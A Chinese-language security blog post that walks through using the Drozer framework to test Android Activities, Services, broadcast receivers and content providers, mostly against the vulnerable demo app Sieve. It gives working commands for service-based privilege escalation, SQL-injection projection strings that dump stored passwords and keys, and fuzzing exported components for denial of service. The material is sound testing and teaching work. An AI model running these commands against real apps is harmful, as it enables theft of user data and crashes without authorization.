基于Drozer框架对安卓四大组件的漏洞挖掘总结
基于Drozer框架对安卓四大组件的漏洞挖掘总结
原创 之D 山石网科安全技术研究院 2023-04-06 10:56
01
前言
之前分析了安卓四大组件漏洞形成的原因,这次我们来讲一下如何通过Drozer
测试框架来挖掘。Drozer
是一个开源项目,用户可以自由下载和使用。其代码托管在GitHub
上,用户可以参与到Drozer
的开发和维护中。Drozer
的文档和教程也非常丰富,用户可以通过阅读文档和教程来快速学习和使用Drozer
。
02
漏洞挖掘
2.1Drozer测试框架
Drozer
是一个
Android
应用程序安全测试框架,旨在帮助安全研究人员和安全测试人员发现和利用
Android
应用程序中的漏洞。
Drozer
提供了一组功能强大的工具和
API
,可以帮助用户深入分析和测试
Android
应用程序的安全性
。
主要包括以下功能:
1
.应用程序分析:
Drozer
可以帮助用户分析
Android
应用程序的代码和数据,包括应用程序的组件、权限、服务、广播、内容提供者等。用户可以使用
Drozer
提供的命令行工具或
API
来执行这些分析任务。
-
漏洞扫描:
Drozer
可以帮助用户扫描
Android
应用程序中的漏洞,包括安全配置错误、代码注入、代码执行、敏感信息泄露等。
Drozer
提供了一组漏洞扫描插件,用户可以使用这些插件来执行漏洞扫描任务。 -
漏洞利用
Drozer
可以帮助用户利用
Android
应用程序中的漏洞,包括代码注入、代码执行、权限提升等。
Drozer
提供了一组漏洞利用插件,用户可以使用这些插件来执行漏洞利用任务。 -
模拟攻击
Drozer
可以帮助用户模拟攻击
Android
应用程序,包括模拟恶意应用程序、模拟攻击者访问应用程序等。
Drozer
提供了一组模拟攻击插件,用户可以使用这些插件来执行模拟攻击任务。
2.2测试流程
2.2.1 工具使用
在
PC
上使用
adb
进行端口转发,转发到
Drozer
使用的端口
31415
在Android
设备上开启Drozer Agent
在PC
上开启Drozer console
获取包名
run app.package.list -f sieve
获取应用的基本信息
run app.package.info –acom.mwr.example.sieve
确定攻击面
run app.package.attacksurface com.mwr.example.sieve
2.2.2 Activity漏洞挖掘
- 显示暴露的Activity
信息
run app.activity.info -a com.mwr.example.sieve
- 生成intent
启动activity
run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList
2.2.3 Service漏洞挖掘
获取service
详情
run app.service.info -a com.mwr.example.sieve
权限提升
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService –msg2354 9234 0 –extra string com.mwr.example.sieve.PIN 1111 –bundle-as-obj
2.2.4 BroadcastReceiver漏洞挖掘
查看暴露的广播组件信息
run app.broadcast.info -a com.mwr.example.sieve
2.2.5 ContentProvider漏洞挖掘
-ContentProvider
注入漏洞
run app.provider.info -a com.mwr.example.sieve
run scanner.provider.injection -a com.mwr.example.sieve
通过命令即可拿到数据库的数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ –projection “* from Passwords;-”
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ –projection “* from Key;-”
2.2.6 批量拒绝服务漏洞
Drozer
有个最大的优点就是模块化,提供很多API
接口可以由测试人员自由编写测试脚本,这里推荐一种加载模块的方法
在repository
中按照python
包管理的方法新建目录结构,将python
文件放入相应目录中
dz> module repository create [/path/to/repository]
然后首先要输出崩溃的日志。
adb_server.exelogcat | grep java.lang.RuntimeException
run app.activity.start –component com.buickcom.ccb.ccbnetpay.activity.appresult.ResultActivity
然后再去运行
run exp.fuzz.deny
包名
这样脚本就会以空数据的方式去启动导出的组件,如果由崩溃的就可以直接在输出的日志中查看到具体崩溃的是哪个组件,下面是批量脚本。
03
总结
总之,利用Drozer
测试安卓app
可以帮助安全测试人员更好地检测应用程序的漏洞和安全问题,有助于更快的完成Android
安全评估,可以大大缩减Android
安全评估的耗时提高应用程序的安全性。